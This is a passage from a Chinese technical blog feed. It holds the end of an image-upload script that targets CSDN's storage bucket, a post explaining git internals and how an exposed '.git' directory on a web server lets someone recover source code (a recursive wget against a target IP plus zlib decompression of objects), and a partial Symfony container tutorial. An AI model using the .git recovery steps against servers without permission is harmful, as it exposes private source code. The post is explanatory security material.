<span class="n">policy</span> <span class="o">=</span> <span class="n">jjd</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s1">'"policy":"'</span><span class="p">)[</span><span class="mi">1</span><span class="p">]</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s1">'","signature":"'</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span>
<span class="n">OSSAccessKeyId</span> <span class="o">=</span> <span class="n">jjd</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s1">'"accessId":"'</span><span class="p">)[</span><span class="mi">1</span><span class="p">]</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s1">'","policy":'</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span>
<span class="n">success_action_status</span><span class="o">=</span><span class="s1">'200'</span>
<span class="n">signature</span> <span class="o">=</span> <span class="n">jjd</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s1">',"signature":"'</span><span class="p">)[</span><span class="mi">1</span><span class="p">]</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s1">'","dir"'</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span>
<span class="n">callback</span><span class="o">=</span> <span class="n">jjd</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s1">'"callbackUrl":"'</span><span class="p">)[</span><span class="mi">1</span><span class="p">]</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s1">'","filePath"'</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span>
<span class="n">multipart_data</span> <span class="o">=</span> <span class="n">MultipartEncoder</span><span class="p">(</span>
<span class="n">fields</span><span class="o">=</span><span class="p">{</span>
<span class="c1"># a file upload field</span>
<span class="c1"># plain text fields</span>
<span class="s1">'key'</span><span class="p">:</span><span class="n">key</span><span class="p">,</span>
<span class="s1">'policy'</span><span class="p">:</span><span class="n">policy</span><span class="p">,</span>
<span class="s1">'OSSAccessKeyId'</span><span class="p">:</span><span class="n">OSSAccessKeyId</span><span class="p">,</span>
<span class="s1">'success_action_status'</span><span class="p">:</span><span class="n">success_action_status</span><span class="p">,</span>
<span class="s1">'signature'</span><span class="p">:</span><span class="n">signature</span><span class="p">,</span>
<span class="s1">'callback'</span><span class="p">:</span><span class="n">callback</span><span class="p">,</span>
<span class="s1">'file'</span><span class="p">:</span> <span class="p">(</span><span class="s1">'image.'</span><span class="o">+</span><span class="n">image_duffix</span><span class="p">,</span> <span class="nb">open</span><span class="p">(</span><span class="n">image_path</span><span class="p">,</span> <span class="s1">'rb'</span><span class="p">),</span> <span class="s1">'image/png'</span><span class="p">),</span>
<span class="p">}</span>
<span class="p">)</span>
<span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="s1">'https://csdn-img-blog.oss-cn-beijing.aliyuncs.com'</span><span class="p">,</span> <span class="n">data</span><span class="o">=</span><span class="n">multipart_data</span><span class="p">,</span>
<span class="n">headers</span><span class="o">=</span><span class="p">{</span><span class="s1">'Content-Type'</span><span class="p">:</span> <span class="n">multipart_data</span><span class="o">.</span><span class="n">content_type</span><span class="p">})</span>
<span class="c1">#/*,proxies=proxyDict,verify=False*/)</span>
<span class="c1">#asdasdasd=response.text.split('"imageUrl":"')[1].split('"},"msg"')[0].split('",')[0]</span>
<span class="c1">#file_path = r"C:\Users\x\AppData\Roaming\Tencent\QQMusic\QQMusicCache\QQMusicPicture\黄龄_龄·EP_4.jpg"</span>
<span class="n">file_name</span> <span class="o">=</span> <span class="n">generate_random_string</span><span class="p">(</span><span class="mi">10</span><span class="p">)</span> <span class="o">+</span> <span class="s2">".jpg"</span>
<span class="n">asdasdasd</span> <span class="o">=</span> <span class="n">uploadFile</span><span class="p">(</span><span class="n">pic_path</span><span class="p">,</span> <span class="n">file_name</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="n">asdasdasd</span><span class="p">)</span>
<span class="n">mmmmmmmmmmmmmmmmmmmpaht</span> <span class="o">=</span> <span class="n">mappath</span><span class="o">+</span><span class="s1">'map.map'</span>
<span class="n">my_open</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="n">mmmmmmmmmmmmmmmmmmmpaht</span><span class="p">,</span> <span class="s1">'a'</span><span class="p">,</span> <span class="n">encoding</span><span class="o">=</span><span class="s2">"utf-8"</span><span class="p">)</span>
<span class="n">my_open</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">sopurce_str</span><span class="o">+</span><span class="s1">','</span><span class="o">+</span><span class="n">asdasdasd</span><span class="o">+</span><span class="s1">'</span><span class="se">\n</span><span class="s1">'</span><span class="p">)</span>
<span class="n">my_open</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
</code></pre></div>
<p>在Line33填入你自己的<a href="https://github.com/settings/tokens/new?description=Download%20GitHub%20directory&scopes=repo">Github API Token</a>,然后分别将脚本中的字符串<code>wqreytuk</code>和<code>img_repo</code>替换为你的Github用户名和用于存放图片的仓库名称</p>关于.git泄露源代码的研究2021-06-17T00:00:00+02:002021-06-17T00:00:00+02:0012138tag:None,2021-06-17:guan-yu-gitxie-lu-yuan-dai-ma-de-yan-jiu.html<h1>基础</h1>
<p>我们先来通过手动进行git的底层操作来理解git的工作原理</p>
<p>git内置三种对象</p>
<ul>
<li>blob(big large object),用于保存内容</li>
<li>tree,用于标识树结构</li>
<li>commit,用于保存每次提交</li>
</ul>
<h2>从创建对象到commit</h2>
<p>新建 …</p><h1>基础</h1>
<p>我们先来通过手动进行git的底层操作来理解git的工作原理</p>
<p>git内置三种对象</p>
<ul>
<li>blob(big large object),用于保存内容</li>
<li>tree,用于标识树结构</li>
<li>commit,用于保存每次提交</li>
</ul>
<h2>从创建对象到commit</h2>
<p>新建一个空目录</p>
<div class="highlight"><pre><span></span><code>mkdir<span class="w"> </span>/tmp/git-learn
</code></pre></div>
<p>进入该目录,执行<code>git status</code>,会得到一个报错</p>
<div class="highlight"><pre><span></span><code>fatal:<span class="w"> </span>not<span class="w"> </span>a<span class="w"> </span>git<span class="w"> </span>repository<span class="w"> </span><span class="o">(</span>or<span class="w"> </span>any<span class="w"> </span>of<span class="w"> </span>the<span class="w"> </span>parent<span class="w"> </span>directories<span class="o">)</span>:<span class="w"> </span>.git
</code></pre></div>
<p>大意就是当前目录并不是一个git仓库,一个git仓库必要的两个组成部分:</p>
<ul>
<li><code>.git/objects</code>目录用于存储各种对象</li>
<li>一个对象命名系统——references</li>
</ul>
<p>创建两个目录</p>
<div class="highlight"><pre><span></span><code>mkdir<span class="w"> </span>-p<span class="w"> </span>.git/objects
mkdir<span class="w"> </span>.git/refs
</code></pre></div>
<p>另外,git分支命名在<code>refs/heads/</code>下,并且需要一个HEAD文件告诉git从哪里开始</p>
<div class="highlight"><pre><span></span><code>mkdir<span class="w"> </span>.git/refs/heads
<span class="nb">echo</span><span class="w"> </span><span class="s2">"ref: refs/heads/fuckyou"</span><span class="w"> </span>><span class="w"> </span>.git/HEAD
</code></pre></div>
<p>再次执行<code>git status</code></p>
<div class="highlight"><pre><span></span><code>On<span class="w"> </span>branch<span class="w"> </span>fuckyou
No<span class="w"> </span>commits<span class="w"> </span>yet
nothing<span class="w"> </span>to<span class="w"> </span>commit<span class="w"> </span><span class="o">(</span>create/copy<span class="w"> </span>files<span class="w"> </span>and<span class="w"> </span>use<span class="w"> </span><span class="s2">"git add"</span><span class="w"> </span>to<span class="w"> </span>track<span class="o">)</span>
</code></pre></div>
<p>可以看到仓库已经起来了,而且git显示当前分支为<code>fuckyou</code>,这个是通过读取<code>.git/HEAD</code>实现的</p>
<p>下面我们创建一个对象</p>
<div class="highlight"><pre><span></span><code><span class="nb">echo</span><span class="w"> </span><span class="s2">"mom is not home!"</span><span class="w"> </span><span class="p">|</span><span class="w"> </span>git<span class="w"> </span>hash-object<span class="w"> </span>-w<span class="w"> </span>--stdin
</code></pre></div>
<p>上面的命令会返回一个SHA-1值,并在objects目录下创建文件:</p>
<p><img alt="image-20210617112142705" src="关于.git泄露源代码的研究.assets/image-20210617112142705.png"></p>
<p>其中objects下的目录由之前返回的SHA-1值的前两个字符命名,剩下的字符作为文件名,这样是为了加快检索速度(biaojigaoliang1查找次数相较直接使用SHA-1值作为文件名降低了256倍biaojigaoliang2)</p>
<p>我们可以使用<code>git cat-file -t SHA-1</code>和<code>git cat-file -p SHA-1</code>来查看对象类型和内容</p>
<div class="highlight"><pre><span></span><code><span class="c1"># git cat-file -t 9e5fc978467e4c222d99a35394abea5ce3deb5b7</span>
blob
<span class="c1"># git cat-file -p 9e5fc978467e4c222d99a35394abea5ce3deb5b7</span>
mom<span class="w"> </span>is<span class="w"> </span>not<span class="w"> </span>home!
</code></pre></div>
<p>但是如果我们现在执行<code>git status</code>,我们会发现没有任何变化,因为没有任何被git追踪的文件</p>
<p>git是通过index文件获取该信息的,因此我们需要执行下面的命令来告知git</p>
<div class="highlight"><pre><span></span><code>git<span class="w"> </span>update-index<span class="w"> </span>--add<span class="w"> </span>--cacheinfo<span class="w"> </span><span class="m">100644</span><span class="w"> </span>9e5fc978467e4c222d99a35394abea5ce3deb5b7<span class="w"> </span>pussy.txt
</code></pre></div>
<p>上面的100644是git定义的元数据描述,参考<a href="https://github.com/git/git/blob/master/Documentation/technical/index-format.txt#L72~#L81">git/index-format.txt at master · git/git · GitHub</a></p>
<p>这条命令会创建出<code>.git/index</code>文件</p>
<p><img alt="image-20210617113242828" src="关于.git泄露源代码的研究.assets/image-20210617113242828.png"></p>
<p><img alt="image-20210617113324111" src="关于.git泄露源代码的研究.assets/image-20210617113324111.png"></p>
<p>此时我们发现了有趣的事情,git显示pussy.txt已经被追踪(绿色),但是同时又显示该文件被删除掉了(红色)</p>
<p>绿色是因为我们已经把信息写到了index中,红色是因为工作目录并不存在pussy.txt这个文件</p>
<div class="highlight"><pre><span></span><code>git<span class="w"> </span>cat-file<span class="w"> </span>-p<span class="w"> </span>9e5fc978467e4c222d99a35394abea5ce3deb5b7<span class="w"> </span>><span class="w"> </span>pussy.txt
</code></pre></div>
<p><img alt="image-20210617113629484" src="关于.git泄露源代码的研究.assets/image-20210617113629484.png"></p>
<p>好了,现在我们可以commit了,其实commit也是一个指针,它指向一个tree,因此我们需要先创建一个tree</p>
<div class="highlight"><pre><span></span><code>git<span class="w"> </span>write-tree
</code></pre></div>
<p>上面的命令返回一个SHA-1值,我们可以看一下它的内容</p>
<div class="highlight"><pre><span></span><code><span class="c1"># git cat-file -t 6d3bccf2a1660dcb2edd4a1d857430d3afdfd018</span>
tree
<span class="c1"># git cat-file -p 6d3bccf2a1660dcb2edd4a1d857430d3afdfd018</span>
<span class="m">100644</span><span class="w"> </span>blob<span class="w"> </span>9e5fc978467e4c222d99a35394abea5ce3deb5b7<span class="w"> </span>pussy.txt
</code></pre></div>
<p>可以看到它保存了pussy.txt的信息</p>
<div class="highlight"><pre><span></span><code>git<span class="w"> </span>commit-tree<span class="w"> </span>6d3bccf2a1660dcb2edd4a1d857430d3afdfd018<span class="w"> </span>-m<span class="w"> </span><span class="s2">"commit to fuckyou"</span>
</code></pre></div>
<p>我们看一下commit对象的内容</p>
<div class="highlight"><pre><span></span><code><span class="c1"># git cat-file -t 33ce52386bdd577d12fa44daab7c60bfe59d356d</span>
commit
<span class="c1"># git cat-file -p 33ce52386bdd577d12fa44daab7c60bfe59d356d</span>
tree<span class="w"> </span>6d3bccf2a1660dcb2edd4a1d857430d3afdfd018
author<span class="w"> </span>Your<span class="w"> </span>Name<span class="w"> </span><you@example.com><span class="w"> </span><span class="m">1623955420</span><span class="w"> </span>-0700
committer<span class="w"> </span>Your<span class="w"> </span>Name<span class="w"> </span><you@example.com><span class="w"> </span><span class="m">1623955420</span><span class="w"> </span>-0700
commit<span class="w"> </span>to<span class="w"> </span>fuckyou
</code></pre></div>
<p>可以看到,它保存了tree以及committer的名字、邮箱以及说明信息</p>
<p>其实通过上面的说明,xdm大致应该能捋出来git的这几个对象的关系,其实就是下面这张图</p>
<p><img alt="image-20210617115021322" src="关于.git泄露源代码的研究.assets/image-20210617115021322.png"></p>
<p>现在我们再看<code>git status</code>,它还是说我们没有commit</p>
<p>biaojigaoliang1这是因为我们的branch没有指向我们刚才的commit,直接将commit的SHA-1值写到以分支命名的文件中即可biaojigaoliang2</p>
<div class="highlight"><pre><span></span><code><span class="nb">echo</span><span class="w"> </span>33ce52386bdd577d12fa44daab7c60bfe59d356d<span class="w"> </span>><span class="w"> </span>.git/refs/heads/fuckyou
</code></pre></div>
<p>成功commit</p>
<div class="highlight"><pre><span></span><code><span class="c1"># git status</span>
On<span class="w"> </span>branch<span class="w"> </span>fuckyou
nothing<span class="w"> </span>to<span class="w"> </span>commit,<span class="w"> </span>working<span class="w"> </span>tree<span class="w"> </span>clean
<span class="c1"># git log</span>
commit<span class="w"> </span>33ce52386bdd577d12fa44daab7c60bfe59d356d<span class="w"> </span><span class="o">(</span>HEAD<span class="w"> </span>-><span class="w"> </span>fuckyou<span class="o">)</span>
Author:<span class="w"> </span>Your<span class="w"> </span>Name<span class="w"> </span><you@example.com>
Date:<span class="w"> </span>Thu<span class="w"> </span>Jun<span class="w"> </span><span class="m">17</span><span class="w"> </span><span class="m">11</span>:43:40<span class="w"> </span><span class="m">2021</span><span class="w"> </span>-0700
<span class="w"> </span>commit<span class="w"> </span>to<span class="w"> </span>fuckyou
</code></pre></div>
<h2>切换分支</h2>
<div class="highlight"><pre><span></span><code><span class="nb">echo</span><span class="w"> </span>33ce52386bdd577d12fa44daab7c60bfe59d356d<span class="w"> </span>><span class="w"> </span>.git/refs/heads/test_branch
</code></pre></div>
<p>上面的命令创建出了新的分支<code>test_branch</code>,并将分支指向之前的那一次commit</p>
<p>修改<code>.git/HEAD</code>文件来切换分支</p>
<div class="highlight"><pre><span></span><code><span class="nb">echo</span><span class="w"> </span><span class="s2">"ref: refs/heads/test_branch"</span><span class="w"> </span>><span class="w"> </span>.git/HEAD
</code></pre></div>
<p><img alt="image-20210617115816314" src="关于.git泄露源代码的研究.assets/image-20210617115816314.png"></p>
<p><img alt="image-20210617120134682" src="关于.git泄露源代码的研究.assets/image-20210617120134682.png"></p>
<p>切换完成!</p>
<h3>在新分支中进行提交</h3>
<p>我们进行之前的创建和提交操作,不再赘述</p>
<div class="highlight"><pre><span></span><code><span class="c1"># echo "just sister and brother" | git hash-object -w --stdin</span>
9868cccd41c6f92f5e5686f4f6402e2bab966c71
<span class="c1"># git cat-file -p 9868cccd41c6f92f5e5686f4f6402e2bab966c71 > dick.txt</span>
<span class="c1"># git update-index --add --cacheinfo 100644 9868cccd41c6f92f5e5686f4f6402e2bab966c71 dick.txt</span>
<span class="c1"># git write-tree</span>
f5c2b44457b2b8efec70920736a6ac7e6c625b58
<span class="c1"># git commit-tree f5c2b44457b2b8efec70920736a6ac7e6c625b58 -m "commit to test_branch"</span>
d2ffbc5d12b816d98e1e5a770dd9f15081904358
</code></pre></div>
<p>最后再将我们的分支指向commit就行了</p>
<div class="highlight"><pre><span></span><code><span class="nb">echo</span><span class="w"> </span>d2ffbc5d12b816d98e1e5a770dd9f15081904358<span class="w"> </span>><span class="w"> </span>.git/refs/heads/test_branch
</code></pre></div>
<p><img alt="image-20210617120821085" src="关于.git泄露源代码的研究.assets/image-20210617120821085.png"></p>
<h1>.git泄露原理</h1>
<p>biaojigaoliang1不管web服务器上的代码是是被push上去的还是从其他仓库pull下来的,只要.git目录可以不受限制的访问,就有可能完整还原所有的文件biaojigaoliang2</p>
<p>使用<code>gin</code>解析<code>.git/index</code>文件,可以获取所有文件的路径</p>
<div class="highlight"><pre><span></span><code>python3<span class="w"> </span>-m<span class="w"> </span>pip<span class="w"> </span>install<span class="w"> </span>gin
gin<span class="w"> </span>.git/index
</code></pre></div>
<p><img alt="image-20210617121925200" src="关于.git泄露源代码的研究.assets/image-20210617121925200.png"></p>
<p>通过SHA-1值,我们可以在objects目录中找到对应的文件</p>
<p>然后解压该文件即可还原原来的内容</p>
<div class="highlight"><pre><span></span><code><span class="kn">import</span> <span class="nn">zlib</span>
<span class="n">filename</span> <span class="o">=</span> <span class="s1">'.git/objects/e2/7bb34b0807ebf1b91bb66a4c147430cde4f08f'</span>
<span class="n">compressed_contents</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="n">filename</span><span class="p">,</span> <span class="s1">'rb'</span><span class="p">)</span><span class="o">.</span><span class="n">read</span><span class="p">()</span>
<span class="n">decompressed_contents</span> <span class="o">=</span> <span class="n">zlib</span><span class="o">.</span><span class="n">decompress</span><span class="p">(</span><span class="n">compressed_contents</span><span class="p">)</span>
<span class="nb">print</span> <span class="n">decompressed_contents</span>
</code></pre></div>
<p><img alt="image-20210617122250992" src="关于.git泄露源代码的研究.assets/image-20210617122250992.png"></p>
<h2>objects目录下找不到对应文件</h2>
<p>git并不会一直把文件存储在objects目录下面</p>
<p>举个例子,我们有一个12MB的文件,它被保存在<code>.git/objects</code>目录下,后来该文件被修改了一次,修改内容是在文件最后加了一个<code>!</code></p>
<p>那么我们就相当于存了两个几乎一模一样的文件在磁盘中,他们两个占了24MB的空间,这是极大的浪费,当我们的项目逐渐增大时,继续使用这种方式对文件内容进行保存是非常低效的方式</p>
<p>为了解决这个问题,git会周期性地对objects下的文件进行pack,这个被称作GC,biaojigaoliang1被pack的文件会从objects中移除biaojigaoliang2</p>
<p>biaojigaoliang1gc的思想就是将文件保存为基文件和delta,delta就是一个描述文件,它描述了如何对基文件进行操作来生成新的文件biaojigaoliang2</p>
<p>biaojigaoliang1比如我们刚才新增一个<code>!</code>的情景,就可以分为一个12MB的基文件和一个小的可以忽略不计的deltabiaojigaoliang2</p>
<p>gc完成后,会在<code>.git/objects/pack</code>下生成两个文件,一个<code>.idx</code>和一个<code>pack</code>文件</p>
<p><strong>在这种情况下,再按照之前的查找方式是无法恢复源文件的</strong></p>
<p>biaojigaoliang1而且00git中并没有任何文件保存了pack文件名相关信息,因此,只要无法进行目录遍历且目标仓库进行了gc操作,就没办法还原所有的文件biaojigaoliang2</p>
<h1>解析git的pack文件</h1>
<p>虽然对于不存在目录便利的.git泄露来说,无从得知pack文件的文件名,但是对于存在目录遍历的情况,我们还是可以还原出原始文件内容的,下面就看一下如何解析pack文件</p>
<p>biaojigaoliang1本来我是想看一下pack文件解析的原理的,但是后来转念一想,完全没有必要,<a href="https://gitee.com/wochinijiamile/smartya/raw/master/TortoiseGit-2.12.0.0-64bit.msi">TortoiseGit</a>它不香嘛biaojigaoliang2</p>
<p>不存在目录遍历的我们就不说了,对于存在目录遍历的.git泄露,可以先使用wget下载到本地,然后直接使用TortoiseGit打开</p>
<div class="highlight"><pre><span></span><code>wget<span class="w"> </span>-c<span class="w"> </span>-r<span class="w"> </span>-l<span class="w"> </span>inf<span class="w"> </span>-np<span class="w"> </span>-L<span class="w"> </span>http://1.1.1.1/.git/
</code></pre></div>
<p>Tortoise使用方法如下,可以浏览完整的git仓库中的文件</p>
<p><img alt="image-20210621063826910" src="关于.git泄露源代码的研究.assets/image-20210621063826910.png"></p>
<p><img alt="image-20210621063852637" src="关于.git泄露源代码的研究.assets/image-20210621063852637.png"></p>
<p>references:</p>
<ul>
<li><a href="https://www.freecodecamp.org/news/git-internals-objects-branches-create-repo/">A Visual Guide to Git Internals — Objects, Branches, and How to Create a Repo From Scratch (freecodecamp.org)</a></li>
<li><a href="http://iissnan.com/progit/html/zh-tw/ch9_4.html">Packfiles - Git 內部原理 - Pro Git 繁體中文版 (iissnan.com)</a></li>
<li><a href="https://git-scm.com/docs/git-pack-objects">Git - git-pack-objects Documentation (git-scm.com)</a></li>
<li><a href="https://codewords.recurse.com/issues/three/unpacking-git-packfiles">Unpacking Git packfiles (recurse.com)</a></li>
<li><a href="https://matthew-brett.github.io/curious-git/reading_git_objects.html">Reading git objects — Curious git (matthew-brett.github.io)</a></li>
</ul>symfony之container(容器)2021-06-07T00:00:00+02:002021-06-07T00:00:00+02:0012138tag:None,2021-06-07:symfonyzhi-containerrong-qi.html<h1>前言</h1>
<p>symfony是一个php框架,这篇文章我将会介绍symfony的container(容器)</p>
<p>symfony引入容器是为了更好地管理项目中各个类之间的依赖关系</p>
<p><strong>就像java的Spring框架一样,symfony框架也拥有依赖注入功能,而该功能通过container来实现,在symfony中,container是一个包含了许多对象的容器,该容器中的对象会自动处理依赖关系,容器中的 …</strong></p><h1>前言</h1>
<p>symfony是一个php框架,这篇文章我将会介绍symfony的container(容器)</p>
<p>symfony引入容器是为了更好地管理项目中各个类之间的依赖关系</p>
<p><strong>就像java的Spring框架一样,symfony框架也拥有依赖注入功能,而该功能通过container来实现,在symfony中,container是一个包含了许多对象的容器,该容器中的对象会自动处理依赖关系,容器中的对象叫做服务</strong></p>
<h1>正文</h1>
<p>示例项目源代码:</p>
<ul>
<li><a href="https://gitee.com/wochinijiamile/smartya/raw/master/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.7z">https://gitee.com/wochinijiamile/smartya/raw/master/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.7z</a></li>
</ul>
<p>下载解压之后,进入项目目录,运行<code>composer install</code>,然后再运行<code>composer dump-autoload</code>即可</p>
<p>这是一个权限检查类的程序,包括两个实体类:<code>User</code>和<code>Post</code>,前者代表用户,后者代表票</p>
<p>一个投票人接口以及其实现类:<code>VoterInterface</code>和<code>PostVoter</code></p>
<p>一个用来管理权限的类:<code>AccessManager</code>,该类有一个decide方法用于决定给定用户是否对指定的post对象拥有特定的权限</p>
<h2>Definition</h2>
<p>index.php</p>
<div class="highlight"><pre><span></span><code><?php
require<span class="w"> </span>__DIR__.<span class="s1">'/../vendor/autoload.php'</span><span class="p">;</span>
use<span class="w"> </span>App<span class="se">\A</span>uthorization<span class="se">\A</span>ccessManager<span class="p">;</span>
use<span class="w"> </span>App<span class="se">\A</span>uthorization<span class="se">\V</span>oter<span class="se">\P</span>ostVoter<span class="p">;</span>
use<span class="w"> </span>App<span class="se">\E</span>ntity<span class="se">\P</span>ost<span class="p">;</span>
use<span class="w"> </span>App<span class="se">\E</span>ntity<span class="se">\U</span>ser<span class="p">;</span>
use<span class="w"> </span>Symfony<span class="se">\C</span>omponent<span class="se">\D</span>ependencyInjection<span class="se">\C</span>ontainerBuilder<span class="p">;</span>
<span class="nv">$containerBuilder</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>new<span class="w"> </span>ContainerBuilder<span class="o">()</span><span class="p">;</span>
<span class="nv">$postVoter</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>new<span class="w"> </span>PostVoter<span class="o">()</span><span class="p">;</span>
<span class="nv">$manager</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>new<span class="w"> </span>AccessManager<span class="o">([</span><span class="nv">$postVoter</span><span class="o">])</span><span class="p">;</span>
<span class="nv">$containerBuilder</span>->set<span class="o">(</span><span class="s1">'post_voter'</span>,<span class="w"> </span><span class="nv">$postVoter</span><span class="o">)</span><span class="p">;</span>
<span class="nv">$containerBuilder</span>->set<span class="o">(</span><span class="s1">'access_manager'</span>,<span class="w"> </span><span class="nv">$manager</span><span class="o">)</span><span class="p">;</span>
dump<span class="o">(</span><span class="nv">$containerBuilder</span>->get<span class="o">(</span><span class="s1">'access_manager'</span><span class="o">))</span><span class="p">;</span>
dump<span class="o">(</span><span class="nv">$containerBuilder</span>->get<span class="o">(</span><span class="s1">'post_voter'</span><span class="o">))</span><span class="p">;</span>
</code></pre></div>
<p>这里使用了symfony的container,初始化一个ContainerBuilder类,即可创建出一个container,然后我们使用set方法将我们的对象放到该容器中,第一个参数就是我们的对象在容器中的名称</p>
<p>使用get即可取出指定名称的对象</p>
<p><strong>但是上面这种写法在往容器中放对象的时候已经实例化了我们的PostVoter类和AccessManager类,但是我们还没有到使用这两个对象的时候,提前初始化被认为是对时间和内存资源的浪费</strong></p>
<p>因此,symfony引入了Definition这个概念,来告诉容器何时以及如何实例化我们放入其中的类</p>
<div class="highlight"><pre><span></span><code><span class="cp"><?php</span>
<span class="k">require</span> <span class="no">__DIR__</span><span class="o">.</span><span class="s1">'/../vendor/autoload.php'</span><span class="p">;</span>
<span class="k">use</span> <span class="nx">App\Authorization\AccessManager</span><span class="p">;</span>
<span class="k">use</span> <span class="nx">App\Authorization\Voter\PostVoter</span><span class="p">;</span>
<span class="k">use</span> <span class="nx">App\Entity\Post</span><span class="p">;</span>
<span class="k">use</span> <span class="nx">App\Entity\User</span><span class="p">;</span>
<span class="k">use</span> <span class="nx">Symfony\Component\DependencyInjection\ContainerBuilder</span><span class="p">;</span>
<span class="k">use</span> <span class="nx">Symfony\Component\DependencyInjection\Definition</span><span class="p">;</span>
<span class="k">use</span> <span class="nx">Symfony\Component\DependencyInjection\Reference</span><span class="p">;</span>
<span class="nv">$containerBuilder</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">ContainerBuilder</span><span class="p">();</span>
<span class="nv">$voterDefinition</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Definition</span><span class="p">(</span><span class="nx">PostVoter</span><span class="o">::</span><span class="na">class</span><span class="p">);</span>
<span class="nv">$containerBuilder</span><span class="o">-></span><span class="na">setDefinition</span><span class="p">(</span><span class="s1">'post_voter'</span><span class="p">,</span> <span class="nv">$voterDefinition</span><span class="p">);</span>
<span class="nv">$managerDefinition</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Definition</span><span class="p">(</span><span class="nx">AccessManager</span><span class="o">::</span><span class="na">class</span><span class="p">);</span>
<span class="nv">$managerDefinition</span><span class="o">-></span><span class="na">addArgument</span><span class="p">([</span><span class="k">new</span> <span class="nx">Reference</span><span class="p">(</span><span class="s1">'post_voter'</span><span class="p">)]);</span>
<span class="nv">$containerBuilder</span><span class="o">-></span><span class="na">setDefinition</span><span class="p">(</span><span class="s1">'access_manager'</span><span class="p">,</span> <span class="nv">$managerDefinition</span><span class="p">);</span>
<span class="nv">$accessManager</span> <span class="o">=</span> <span class="nv">$containerBuilder</span><span class="o">-></span><span class="na">get</span><span class="p">(</span><span class="s1">'access_manager'</span><span class="p">);</span>
<span class="nx">dump</span><span class="p">(</span><span class="nv">$accessManager</span><span class="p">);</span>
</code></pre></div>
<p>可以看到,之前实例化类的部分变成了Definition,使用类的FQCN作为参数,另外set方法也被替换成了setDefinition方法</p>
<p>对$managerDefinition额外调用了addArgument方法来设置access_manager在初始化时构造函数的参数,这里用了post_voter的Reference</p>
<p><strong>上面的代码在真正执行<code>$accessManager = $containerBuilder->get('access_manager')</code>这行代码之后完全没有创建任何<code>PostVoter</code>或<code>AccessManager</code>对象</strong></p>
<p>我们可以使用容器的register方法来省略创建Definition对象的步骤:</p>
<div class="highlight"><pre><span></span><code><span class="cp"><?php</span>
<span class="k">require</span> <span class="no">__DIR__</span><span class="o">.</span><span class="s1">'/../vendor/autoload.php'</span><span class="p">;</span>
<span class="k">use</span> <span class="nx">App\Authorization\AccessManager</span><span class="p">;</span>
<span class="k">use</span> <span class="nx">App\Authorization\Voter\PostVoter</span><span class="p">;</span>
<span class="k">use</span> <span class="nx">App\Entity\Post</span><span class="p">;</span>
<span class="k">use</span> <span class="nx">App\Entity\User</span><span class="p">;</span>
<span class="k">use</span> <span class="nx">Symfony\Component\DependencyInjection\ContainerBuilder</span><span class="p">;</span>
<span class="k">use</span> <span class="nx">Symfony\Component\DependencyInjection\Definition</span><span class="p">;</span>
<span class="k">use</span> <span class="nx">Symfony\Component\DependencyInjection\Reference</span><span class="p">;</span>
<span class="nv">$containerBuilder</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">ContainerBuilder</span><span class="p">();</span>
<span class="nv">$containerBuilder</span><span class="o">-></span><span class="na">register</span><span class="p">(</span><span class="s2">"post_voter"</span><span class="p">,</span> <span class="nx">PostVoter</span><span class="o">::</span><span class="na">class</span><span class="p">);</span>
<span class="nv">$containerBuilder</span><span class="o">-></span><span class="na">register</span><span class="p">(</span><span class="s2">"access_manager"</span><span class="p">,</span> <span class="nx">AccessManager</span><span class="o">::</span><span class="na">class</span><span class="p">)</span>
<span class="o">-></span><span class="na">addArgument</span><span class="p">([</span><span class="k">new</span> <span class="nx">Reference</span><span class="p">(</span><span class="s1">'post_voter'</span><span class="p">)]);</span>
<span class="nv">$accessManager</span> <span class="o">=</span> <span class="nv">$containerBuilder</span><span class="o">-></span><span class="na">get</span><span class="p">(</span><span class="s1">'access_manager'</span><span class="p">);</span>
<span class="nx">dump</span><span class="p">(</span><span class="nv">$accessManager</span><span class="p">);</span>
</code></pre></div>
<h2>作用域</h2>
<p>在上面的例子中,post_voter对我们来说是没有太多作用的,他只需要由access_manager来进行管理就行了,我们没必要使用get将其从容器中取出来**</p>
<p>ContainerBuilder提供了private和public服务的概念,我们可以在Definition中进行设置,被设置了private的服务是无法通过容器的get方法进行获取的</p>
<p>用法非常简单,只需要调用setPublic方法即可,参数为布尔型,true则为public,false则为private</p>
<div class="highlight"><pre><span></span><code><span class="nv">$containerBuilder</span>->register<span class="o">(</span><span class="s2">"post_voter"</span>,<span class="w"> </span>PostVoter::class<span class="o">)</span>
<span class="w"> </span>->setPublic<span class="o">(</span><span class="nb">false</span><span class="o">)</span><span class="p">;</span>
<span class="nv">$containerBuilder</span>->compile<span class="o">()</span><span class="p">;</span>
</code></pre></div>
<p>使用上面的代码即可将post_voter设置为private,compile方法用于使该设置生效</p>
<h1>使用symfony的Config组件来管理配置</h1>
<p>我们这里使用php文件作为配置文件的文件类型</p>
<p>config/config.php</p>
<div class="highlight"><pre><span></span><code><span class="cp"><?php</span>
<span class="c1">// config/config.php</span>
<span class="k">use</span> <span class="nx">App\Authorization\AccessManager</span><span class="p">;</span>
<span class="k">use</span> <span class="nx">App\Authorization\Voter\PostVoter</span><span class="p">;</span>
